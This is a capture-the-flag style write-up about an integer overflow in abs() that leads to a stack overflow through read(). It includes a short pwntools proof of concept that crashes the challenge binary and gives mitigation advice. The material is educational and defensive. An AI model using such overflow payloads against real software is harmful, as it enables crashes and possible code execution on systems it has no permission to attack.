Code Snippet Serie - 05 - Integer Overflow & Stack Overflow
                    Contents
                    
                
                
            Challenge Description

This challenge, authored by @baguette, involves exploiting an integer overflow vulnerability combined with a stack overflow, allowing arbitrary writes to the stack.
Vulnerability Overview
🛑 Vulnerability: The vulnerability lies in the improper handling of integer values and the use of the read function, which allows writing arbitrary data to the stack.
Exploitation Process
1. Triggering the Integer Overflow:
- When lenis set to-2147483648(minimum value of a signed 32-bit integer), the call toabs(len)results in an overflow. Instead of returning2147483648(which is out of range forint), it wraps around and remains-2147483648.
2. Bypassing the Length Check:
- The condition if (len > 64)fails because-2147483648is interpreted as a negative value, bypassing the check.
3. Exploiting the Stack Overflow:
- The read function interprets lenas an unsigned value (size_t nbyte) when used as the third parameter:This allows writing up to#include <unistd.h> ssize_t pread(int fildes, void *buf, size_t nbyte, off_t offset); ssize_t read(int fildes, void *buf, size_t nbyte);2147483648bytes into thebufarray, overflowing the stack and potentially overwriting critical data such as return addresses.
Proof Of Concept
from pwn import *
binary = './my-challenge'
context.binary = binary
p = process(binary)
payload = b"-2147483648"
p.recvuntil(b"Enter the length of your guess (max 64): ")
p.sendline(payload)
payload = b"A" * 10000
p.recvuntil(b"Enter your guess: ")
p.sendline(payload)
p.interactive() # SIGSEGV
Mitigation
🔒 To mitigate this vulnerability, the following measures can be taken:
- 
Validate Input: - Ensure that lenis strictly validated to be within the bounds of the buffer size (e.g.,0 <= len <= 64).
- Explicitly check for INT_MINbefore callingabs, asabs(INT_MIN)causes undefined behavior.
 
- Ensure that 
- 
Avoid Dangerous Functions: - Replace readwith safer alternatives likefgetsorreadwith explicit bounds checking.
 
- Replace 
- 
Fix Integer Overflow: - Avoid using abson potentially overflow-prone values. Instead, validate inputs before performing operations.
 
- Avoid using